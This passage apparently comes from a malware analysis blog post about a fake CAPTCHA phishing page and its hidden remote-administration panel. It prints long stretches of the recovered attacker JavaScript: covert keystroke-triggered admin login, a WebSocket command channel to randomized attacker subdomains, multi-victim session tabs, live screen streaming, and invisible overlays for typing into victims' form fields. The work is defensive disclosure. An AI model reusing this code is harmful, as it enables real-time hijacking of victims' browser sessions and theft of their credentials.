https://substackcdn.com/image/fetch/$s_!jkIb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4774514d-fece-4c1a-a519-1fd94bb64a3a_1928x1444.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>If the victim ID is invalid (tested multiple variations of random hash parameter values, it always gives the same response:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!xR95!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36c76220-caea-43dd-87b9-f738f855f28f_1930x1436.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!xR95!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36c76220-caea-43dd-87b9-f738f855f28f_1930x1436.png 424w, https://substackcdn.com/image/fetch/$s_!xR95!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36c76220-caea-43dd-87b9-f738f855f28f_1930x1436.png 848w, https://substackcdn.com/image/fetch/$s_!xR95!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36c76220-caea-43dd-87b9-f738f855f28f_1930x1436.png 1272w, https://substackcdn.com/image/fetch/$s_!xR95!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36c76220-caea-43dd-87b9-f738f855f28f_1930x1436.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!xR95!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36c76220-caea-43dd-87b9-f738f855f28f_1930x1436.png" width="1456" height="1083" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/36c76220-caea-43dd-87b9-f738f855f28f_1930x1436.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1083,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:394735,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186779773?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36c76220-caea-43dd-87b9-f738f855f28f_1930x1436.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!xR95!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36c76220-caea-43dd-87b9-f738f855f28f_1930x1436.png 424w, https://substackcdn.com/image/fetch/$s_!xR95!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36c76220-caea-43dd-87b9-f738f855f28f_1930x1436.png 848w, https://substackcdn.com/image/fetch/$s_!xR95!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36c76220-caea-43dd-87b9-f738f855f28f_1930x1436.png 1272w, https://substackcdn.com/image/fetch/$s_!xR95!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F36c76220-caea-43dd-87b9-f738f855f28f_1930x1436.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This domain is registered through Namecheap with privacy protection enabled and is hosted behind Cloudflare, which hides the origin server&#8217;s real IP address.</p><p>The setup allows the attacker to manage victims dynamically while preserving anonymity and controlling the flow of payload delivery.</p><div><hr></div><h2>Hidden Remote Administration</h2><p>The CAPTCHA page contains a sophisticated remote administration system that allows an attacker to take complete control of victim browser sessions in real time. </p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Ya7x!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0b0ba8d-b2b3-4afc-b5d5-13766558f04e_3178x580.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Ya7x!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0b0ba8d-b2b3-4afc-b5d5-13766558f04e_3178x580.png 424w, https://substackcdn.com/image/fetch/$s_!Ya7x!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0b0ba8d-b2b3-4afc-b5d5-13766558f04e_3178x580.png 848w, https://substackcdn.com/image/fetch/$s_!Ya7x!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0b0ba8d-b2b3-4afc-b5d5-13766558f04e_3178x580.png 1272w, https://substackcdn.com/image/fetch/$s_!Ya7x!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0b0ba8d-b2b3-4afc-b5d5-13766558f04e_3178x580.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Ya7x!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0b0ba8d-b2b3-4afc-b5d5-13766558f04e_3178x580.png" width="1456" height="266" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f0b0ba8d-b2b3-4afc-b5d5-13766558f04e_3178x580.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:266,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:901106,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/186779773?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0b0ba8d-b2b3-4afc-b5d5-13766558f04e_3178x580.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Ya7x!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0b0ba8d-b2b3-4afc-b5d5-13766558f04e_3178x580.png 424w, https://substackcdn.com/image/fetch/$s_!Ya7x!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0b0ba8d-b2b3-4afc-b5d5-13766558f04e_3178x580.png 848w, https://substackcdn.com/image/fetch/$s_!Ya7x!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0b0ba8d-b2b3-4afc-b5d5-13766558f04e_3178x580.png 1272w, https://substackcdn.com/image/fetch/$s_!Ya7x!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0b0ba8d-b2b3-4afc-b5d5-13766558f04e_3178x580.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>This functionality is hidden behind password authentication and keyboard shortcuts, creating a parallel control interface that victims cannot see or access.</p><p>Unlike traditional phishing pages that simply collect credentials and end the session, this infrastructure maintains persistent connections to all active victims simultaneously. </p><p>The admin can monitor multiple sessions, switch between them, and interact with any victim&#8217;s browser as if they were sitting at the keyboard themselves.</p><blockquote><h3>Potential Privilege Escalation Vulnerability</h3><p>The admin authentication relies heavily on client-side JavaScript flags (is_Admin = true, is_Scope_Admin = true) that any victim could set via browser console. </p><p>A researcher with a valid victim ID could theoretically call admin_connect() and send admin-type WebSocket messages to the server. </p><p>Whether this actually grants admin access depends entirely on server-side validation of the ref_id and URL hash parameters - if the server trusts the client&#8217;s claimed admin status without proper verification, victims could potentially view other sessions. </p><p>This would represent a catastrophic security failure in the attacker&#8217;s own infrastructure, exposing their entire operation and all connected victims.</p></blockquote><h3>Authentication and Access Control</h3><p>The admin system uses a multi-layered authentication approach that separates normal victim traffic from administrative access.</p><h4>Encrypted Admin Credentials</h4><p>Admin authentication credentials are embedded in the URL using an encrypted parameter that is decoded when the page loads:</p><pre><code>// Extract and decrypt admin credentials from URL parameter 'u'
const SECRET = "_SuperBigNyasher47_";
const encryptedU = getUrlParameter('u');

if (encryptedU) {
    try {
        const decrypted = decryptData(encryptedU, SECRET);
        // Format: "email|flags|server_url|allowed_links_json|admin_password"
        const parts = decrypted.split('|');
        email = parts[0] || 'no-email-mode@email.com';
        const flags = parts[1] || '';
        server_url = parts[2] || '';
        const allowed_links_json = parts[3] || '[]';
        admin_password = parts[4] || '';  // Stored globally
        allowed_links = JSON.parse(allowed_links_json);
        
        const isValid = flags &amp;&amp; flags[0] === '1';
        const isAdmin = flags &amp;&amp; flags[1] === '1';
        
    } catch (error) {
        console.error('Error decrypting u parameter:', error);
    }
}</code></pre><p>The encrypted <code>u</code> parameter contains all necessary configuration data:</p><ul><li><p><strong>Email address</strong>: Tracks which campaign or target this session belongs to</p></li><li><p><strong>Permission flags</strong>: Binary flags indicating valid session and admin status</p></li><li><p><strong>Server URL</strong>: WebSocket endpoint for control traffic</p></li><li><p><strong>Allowed links</strong>: JSON array defining which domains the admin can access</p></li><li><p><strong>Admin password</strong>: Used for keyboard-based authentication</p></li></ul><p>This design allows the attacker to distribute different URLs with varying permission levels while using the same underlying page infrastructure.</p><h4><strong>Keyboard-Based Authentication</strong></h4><p>Once the page loads, an admin can authenticate by typing a password followed by the <code>#</code> symbol anywhere on the page:</p><pre><code>let keySequence = '';

document.addEventListener('keydown', (event) =&gt; {
    // Only process printable characters
    if (event.key.length === 1 || event.key === '#' || event.key === 'Backspace') {
        if (event.key === 'Backspace') {
            keySequence = keySequence.slice(0, -1);
        } else {
            keySequence += event.key;
        }

        // Check if the sequence contains # (password input)
        if (keySequence.includes('#')) {
            const parts = keySequence.split('#');
            if (parts.length &gt;= 2) {
                const typedPassword = parts[0];
                const ref_id = localStorage.getItem('ref_id');

                if (ref_id &amp;&amp; typedPassword) {
                    validatePasswordAndConnect(ref_id, typedPassword);
                }
                keySequence = ''; // Reset
            }
        }

        // Prevent sequence from growing too large
        if (keySequence.length &gt; 20) {
            keySequence = keySequence.slice(-20);
        }
    }
});</code></pre><h3><strong>How It Works:</strong></h3><p>The page silently records every keystroke in a buffer. </p><p>When a <code>#</code> character is detected, the accumulated keystrokes are split into password and command components. The typed password is compared against the <code>admin_password</code> value extracted from the encrypted URL parameter.</p><p>If the password matches, the <code>admin_connect()</code> function is called, which establishes a WebSocket connection to the control server with elevated privileges. No visual feedback is provided during typing, preventing victims from noticing the authentication process.</p><p>This authentication method has several operational advantages:</p><ul><li><p><strong>Silent activation</strong>: No UI elements reveal that admin mode exists</p></li><li><p><strong>No form submission</strong>: Typing happens naturally during page interaction</p></li><li><p><strong>Session-independent</strong>: Multiple admins can authenticate independently</p></li><li><p><strong>Immediate effect</strong>: Control access granted without page reload</p></li></ul><h3>Password Validation</h3><p>The validation function performs a direct string comparison and initiates the admin connection on success:</p><pre><code><code>async function validatePasswordAndConnect(ref_id, typedPassword) {
    if (admin_password &amp;&amp; typedPassword === admin_password) {
        log('Password validated successfully for ref_id:', ref_id);
        admin_connect(ref_id);
    } else {
        log('Password validation failed for ref_id:', ref_id);
        // Silent failure - no feedback to user
    }
}</code></code></pre><p>Failed authentication attempts are logged silently without alerting the user or triggering any visible change. This prevents victims from discovering admin functionality through experimentation.</p><h3>WebSocket Command and Control</h3><p>Once authenticated, the admin establishes a dedicated WebSocket connection that runs in parallel to victim connections. </p><p>This creates a bifurcated communication channel where victim traffic and admin traffic share the same infrastructure but operate with different permissions.</p><h3>Admin Connection Establishment</h3><p>The admin WebSocket uses randomized subdomains to avoid static signatures and connection fingerprinting. Each new session generates a different hostname while resolving to the same backend infrastructure.</p><pre><code><code>function admin_connect(ref_id) {
    if (socket &amp;&amp; socket.readyState === WebSocket.OPEN) {
        log('Already connected');
        return;
    }
    if (is_pathed) return;

    const shadowUrlObj = new URL(refParam);
    const protocol = shadowUrlObj.protocol === 'https:' ? 'wss:' : 'ws:';
    const randomString = randomStringf();
    wsUrl = `${protocol}//${randomString}.${shadowUrlObj.host}/ws`;

    try {
        socket = new WebSocket(wsUrl);
        
        socket.addEventListener('open', async () =&gt; {
            log('Connected to server');
            setConnectionStatus(true);
            is_pathed = true;
            is_Admin = true;
            is_Scope_Admin = true;
            
            // Show admin interface
            document.querySelector('.tabs-container').style.display = 'block';

            if (!ref_id) {
                reload_page();
                return;
            }

            // Send admin identification to server
            socket_send({
                type: 'dimensions_admin',
                ref_id: ref_id,
                width: canvasWidth,
                height: canvasHeight,
                zrawHazh: localStorage.getItem('rawHash') || '',
            });
        });
        
        // Message handlers for admin-specific commands
        socket.addEventListener('message', (event) =&gt; {
            handleMessage(event);
        });
        
    } catch (e) {
        console.log(e);
    }
}</code></code></pre><p>Three critical flags are set during admin connection:</p><ul><li><p><code>is_Admin = true</code>: Enables admin-specific UI elements</p></li><li><p><code>is_Scope_Admin = true</code>: Prevents automatic session cleanup</p></li><li><p><code>is_pathed = true</code>: Marks the connection as established</p></li></ul><p>These flags control which code paths execute and which UI components render, effectively switching the page into administration mode while maintaining the appearance of a normal session to external observers.</p><h2>Multi-Session Management Interface</h2><p>The admin interface uses a tabbed system to monitor and control multiple victim sessions simultaneously. Each active victim is represented as a separate tab with real-time status indicators.</p><h3>Tab Creation and Tracking</h3><pre><code><code>const clientTabMap = new Map(); // Maps client_id to tabId
const tabClientMap = new Map(); // Maps tabId to client_id
let active_client_id = null;

function createTab(title = null, client_id = null) {
    if (client_id &amp;&amp; clientTabMap.has(client_id)) {
        const existingTabId = clientTabMap.get(client_id);
        activateTab(existingTabId);
        return existingTabId;
    }
    
    tabCount++;
    const tabId = 'tab-' + tabCount;
    const tabTitle = title || `Tab ${tabCount}`;

    const tab = document.createElement('div');
    tab.className = 'tab';
    tab.id = tabId;
    tab.dataset.tabId = tabId;
    tab.innerHTML = `&lt;i class="fas fa-folder-tree"&gt;&lt;/i&gt; 
                    ${tabTitle}
                    &lt;span class="close-btn"&gt;&#215;&lt;/span&gt;`;
                    
    if (client_id) {
        clientTabMap.set(client_id, tabId);
        tabClientMap.set(tabId, client_id);
    }

    tab.addEventListener('click', async function (e) {
        await activateTab_manual(tabId);
    });

    const closeBtn = tab.querySelector('.close-btn');
    closeBtn.addEventListener('click', function (e) {
        e.stopPropagation();
        closeTab(tabId);
    });

    tabsWrapper.appendChild(tab);
    tabcount.innerHTML = `${tabCount}`;
    playTabNotification();
    return tabId;
}</code></code></pre><p><strong>Bidirectional Mapping: </strong>The system maintains two Maps that allow lookups in both directions. Given a victim&#8217;s <code>client_id</code>, the admin can find which tab represents that session. Given a tab ID, the system can determine which victim connection to route commands to.</p><p>This architecture supports several critical operations:</p><ul><li><p><strong>Preventing duplicate tabs</strong>: Before creating a new tab, the function checks if one already exists for the client</p></li><li><p><strong>Tab activation</strong>: Clicking a tab loads that victim&#8217;s live view</p></li><li><p><strong>Session cleanup</strong>: When a tab closes, both mapping entries are removed</p></li><li><p><strong>Audio feedback</strong>: New tab creation triggers a notification sound</p></li></ul><h3>Session State Indicators</h3><p>Tabs display visual indicators that communicate session health and admin control status:</p><pre><code><code>const tab = document.getElementById(tabId);
if (!tab || !tabId) return;

if (message.is_client_disconnected) {
    if (message.admin_touch) {
        // Admin has control - keep tab open but show admin status
        if (!tab.classList.contains('admin-controlled')) {
            tab.classList.add('admin-controlled');
            tab.classList.add('tab-disconnected');
            tab.title = 'Admin interaction active (Client disconnected)';
            tab.innerHTML = "&#128081; &lt;i class='fas fa-user-shield'&gt;&lt;/i&gt; Admin";
        }
    } else {
        // No admin control - safe to close tab
        if (!tab.classList.contains('tab-disconnected')) {
            tab.classList.add('tab-disconnected');
            tab.title = 'Client disconnected';
            closeTab(tabId);
        }
    }
} else {
    // Client is connected - remove disconnection styling
    if (tab.classList.contains('tab-disconnected')) {
        tab.classList.remove('tab-disconnected');
        tab.title = '';
    }
}</code></code></pre><p><strong>Visual States:</strong></p><ul><li><p><strong>Normal state</strong>: Standard tab appearance, victim connected and active</p></li><li><p><strong>Disconnected state</strong>: Red pulsing border, client lost connection</p></li><li><p><strong>Admin-controlled state</strong>: Crown icon, orange background, admin is interacting</p></li><li><p><strong>Admin-controlled + Disconnected</strong>: Both indicators shown, admin controls dead session</p></li></ul><p>The system distinguishes between a victim closing their browser and an admin maintaining control of that session. If admin interaction is detected (<code>admin_touch</code>), the tab remains open even after disconnection, allowing the admin to continue inspecting the session state or reviewing captured data.</p><h3>Queue-Based Session Activation</h3><p>To prevent overwhelming the server with rapid tab-switching requests, the system implements a unique queue with cooldown throttling:</p><pre><code><code>class UniqueQueue {
    constructor() {
        this.queue = [];
        this.priorityQueue = [];
        this.set = new Set();
        this.prioritySet = new Set();
        this.isPaused = false;
    }

    enqueue(item) {
        if (!this.set.has(item) &amp;&amp; !this.prioritySet.has(item)) {
            this.queue.push(item);
            this.set.add(item);
            return true;
        }
        return false; // Duplicate rejected
    }

    enqueueImmediate(item) {
        // Remove from regular queue if exists
        if (this.set.has(item)) {
            const index = this.queue.indexOf(item);
            if (index &gt; -1) {
                this.queue.splice(index, 1);
                this.set.delete(item);
            }
        }

        if (!this.prioritySet.has(item)) {
            this.priorityQueue.push(item);
            this.prioritySet.add(item);
            return true;
        }
        return false;
    }

    dequeue() {
        // Priority queue first
        if (this.priorityQueue.length &gt; 0) {
            const item = this.priorityQueue.shift();
            this.prioritySet.delete(item);
            return item;
        }

        if (this.queue.length === 0) return null;
        const item = this.queue.shift();
        this.set.delete(item);
        return item;
    }
}

const pipe = new UniqueQueue();
const COOLDOWN = 3000; // 3 seconds between requests

async function processQueue() {
    if (isProcessingPipe || pipe.size() === 0 || pipe.isPaused) {
        return;
    }

    const now = Date.now();
    const timeSinceLastRequest = now - lastRequestTime;

    const isFromPriorityQueue = pipe.priorityQueue.length &gt; 0;

    if (!isFromPriorityQueue &amp;&amp; timeSinceLastRequest &lt; COOLDOWN) {
        const waitTime = COOLDOWN - timeSinceLastRequest;
        queueTimer = setTimeout(processQueue, waitTime);
        return;
    }

    isProcessingPipe = true;
    const client_id = pipe.dequeue();

    if (client_id) {
        active_client_id = client_id;
        
        socket_send({
            type: 'dimensions_admin_client',
            client_id: client_id,
            width: canvasWidth,
            height: canvasHeight,
        });

        lastRequestTime = now;
    }

    isProcessingPipe = false;

    if (pipe.size() &gt; 0 &amp;&amp; !pipe.isPaused) {
        queueTimer = setTimeout(processQueue, COOLDOWN);
    }
}</code></code></pre><p><strong>Queue Behavior: </strong>The queue prevents duplicate requests by using a Set to track which client IDs are already pending. If the admin rapidly clicks between tabs, only unique sessions are queued.</p><p>The priority queue system allows certain sessions to jump ahead. When the server sends an update indicating new activity on a specific client, <code>enqueueImmediate()</code> moves that client to the front of the line, ensuring the admin sees active sessions quickly.</p><p>The 3-second cooldown between requests prevents flooding the server while still allowing responsive tab switching. Priority requests bypass this cooldown, but regular tab clicks must wait.</p><h3>Real-Time Screen Streaming</h3><p>The admin views each victim&#8217;s browser through a live screen stream delivered as AVIF-encoded image frames over WebSocket.</p><h3>Frame Reception and Double Buffering</h3><pre><code><code>let activeBuffer = remoteViewA;
let hiddenBuffer = remoteViewB;

activeBuffer.style.opacity = 1;
hiddenBuffer.style.opacity = 0;

function processNewFrame(buffer) {
    return new Promise((resolve) =&gt; {
        try {
            const blob = new Blob([buffer], { type: 'image/avif' });
            const url = URL.createObjectURL(blob);

            const onloadHandler = () =&gt; {
                setTimeout(() =&gt; {
                    hiddenBuffer.style.opacity = '1';
                    activeBuffer.style.opacity = '0';

                    [activeBuffer, hiddenBuffer] = [hiddenBuffer, activeBuffer];

                    URL.revokeObjectURL(url);
                    hiddenBuffer.onload = null;
                    hiddenBuffer.onerror = null;

                    if (!firstFrameReceived) {
                        firstFrameReceived = true;
                        autoclickOverlay.style.display = 'none';
                    }

                    resolve();
                }, 50);
            };

            hiddenBuffer.onload = onloadHandler;
            hiddenBuffer.onerror = (e) =&gt; {
                console.error('Error loading image:', e);
                URL.revokeObjectURL(url);
                resolve();
            };

            hiddenBuffer.src = url;

        } catch (error) {
            console.error('Error processing binary data:', error);
            resolve();
        }
    });
}</code></code></pre><p><strong>Frame Processing Flow:</strong></p><ol><li><p><strong>Binary data arrives</strong> over WebSocket as an ArrayBuffer</p></li><li><p><strong>Blob URL created</strong> from AVIF-encoded image data</p></li><li><p><strong>Hidden buffer loads</strong> the new frame while current frame remains visible</p></li><li><p><strong>Crossfade transition</strong> swaps buffers using opacity animation</p></li><li><p><strong>Memory cleanup</strong> revokes the old Blob URL</p></li></ol><p>This double-buffering technique eliminates screen flicker and provides smooth frame transitions. The victim&#8217;s screen updates continuously at a rate determined by the server, typically between 5-15 frames per second depending on activity level.</p><h3>Frame Queue Management</h3><pre><code><code>let latestFrame = null;
let isProcessing = false;

async function processNextFrame() {
    if (!latestFrame || isProcessing) {
        return;
    }

    isProcessing = true;
    const frameToProcess = latestFrame;
    latestFrame = null;

    try {
        const buffer = frameToProcess instanceof Blob ?
            await frameToProcess.arrayBuffer() :
            frameToProcess;

        await processNewFrame(buffer);
    } catch (error) {
        console.error('Error processing frame:', error);
    } finally {
        isProcessing = false;
        if (latestFrame) {
            requestAnimationFrame(processNextFrame);
        }
    }
}</code></code></pre><p><strong>Frame Dropping Behavior: </strong>If frames arrive faster than they can be rendered, the queue stores only the most recent frame and discards older ones. This prevents memory buildup while ensuring the admin always sees the latest screen state.</p><p>When a new frame arrives during processing, it overwrites <code>latestFrame</code>. Once the current frame finishes rendering, the system immediately begins processing the newest frame, skipping any intermediate frames that arrived in between.</p><h3>Input Hijacking and Control</h3><p>The admin can interact with victim sessions by injecting mouse movements, clicks, keyboard input, and form data in real time.</p><h3>Form Input Overlay System</h3><p>The page creates invisible overlays on top of every input field in the victim&#8217;s browser:</p><pre><code><code>function hi_input_f(message) {
    if (!message.elements || !Array.isArray(message.elements)) {
        return;
    }

    const currentIds = new Set();

    message.elements.forEach(element =&gt; {
        if (!element.id || !element.isVisible) return;
        currentIds.add(element.id);
        
        let inputEl = inputElements.get(element.id);
        let wrapper = inputElementsWrapper.get(element.id);

        if (!wrapper) {
            inputEl = document.createElement(element.tagName);
            wrapper = document.createElement('div');
            wrapper.dataset.inputId = element.id;
            wrapper.dataset.iframeIndex = element.iframe_index;
            wrapper.className = 'hi_input';

            wrapper.style.position = 'absolute';
            wrapper.style.zIndex = '999';
            wrapper.style.pointerEvents = 'auto';
            wrapper.style.opacity = 0; // Hidden by default

            // Apply exact styling from victim's element
            const styles = element.styles || {};
            Object.keys(styles).forEach(prop =&gt; {
                if (prop in inputEl.style) {
                    inputEl.style[prop] = styles[prop];
                }
            });

            inputEl.addEventListener('input', handleInputChangeEvent);
            inputEl.addEventListener('keydown', handleInputKeyDownEvent);

            wrapper.appendChild(inputEl);
            document.body.appendChild(wrapper);

            inputElements.set(element.id, inputEl);
            inputElementsWrapper.set(element.id, wrapper);
        }

        // Position overlay exactly over victim's input
        const adaptiveEdgeInset = getAdaptiveEdgeInset(element.styles.maskSize, 2);
        const fixedVerticalInset = 4;

        wrapper.style.left = `${(element.position.left - element.position.scrollX) + adaptiveEdgeInset}px`;
        wrapper.style.top = `${(element.position.top - element.position.scrollY) + fixedVerticalInset}px`;
        wrapper.style.width = `${Math.max(0, element.position.width - (adaptiveEdgeInset * 2))}px`;
        wrapper.style.height = `${Math.max(0, element.position.height - (fixedVerticalInset * 2))}px`;

        // Show or hide based on admin interaction mode
        if (active_client_id &amp;&amp; !interact_tab_list.get(active_client_id)) {
            wrapper.style.display = 'none';
        } else {
            wrapper.style.display = 'block';
        }
    });

    // Remove stale overlays
    inputElementsWrapper.forEach((el, id) =&gt; {
        if (!currentIds.has(id)) {
            el.remove();
            inputElementsWrapper.delete(id);
            inputElements.delete(id);
        }
    });
}</code></code></pre><p><strong>Overlay Synchronization: </strong>The server sends position and styling data for every input field on the victim&#8217;s page. The admin interface creates matching HTML elements positioned exactly over each input using absolute positioning.</p><p>These overlays remain invisible (<code>opacity: 0</code>) until the admin activates &#8220;interact mode&#8221; for a specific session. When activated, the overlays become visible and interactive, allowing the admin to type directly into the victim&#8217;s form fields.</p><p>Edge insets prevent the overlay from blocking the input border, ensuring the admin can see the exact visual feedback the victim would see including focus rings and validation states.</p><h3>Interaction Mode Control</h3><pre><code><code>interact_tab_btn.addEventListener('click', function () {
    if (!active_client_id) return;
    if (!pause_activateTab) {
        alert("Pause and enter the tab you wish to interact with");
        return;
    }

    interact_tab_toggle = !interact_tab_toggle;
    
    if (interact_tab_toggle) {
        is_Admin = false;
        interact_tab_btn.innerHTML = `&lt;i class="fas fa-xmark"&gt;&lt;/i&gt;`;
        interact_tab_list.set(active_client_id, true);

        socket_send({
            type: 'admin_session_control',
            client_id: active_client_id,
            action: 'take_control'
        });
    } else {
        if (!confirm("Are you sure you want to release control?")) return;
        is_Admin = true;
        interact_tab_btn.innerHTML = `&lt;i class="fas fa-hand-pointer"&gt;&lt;/i&gt;`;
        interact_tab_list.set(active_client_id, false);

        socket_send({
            type: 'admin_session_control',
            client_id: active_client_id,
            action: 'release_control'
        });
    }
